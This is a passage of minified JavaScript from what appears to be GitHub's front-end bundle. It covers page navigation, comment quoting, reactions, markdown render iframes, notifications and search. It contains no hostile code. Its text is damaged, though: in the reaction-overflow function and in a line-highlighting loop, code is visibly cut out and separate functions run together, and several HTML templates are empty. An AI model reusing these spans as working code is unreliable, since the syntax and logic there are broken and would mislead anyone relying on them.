0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var 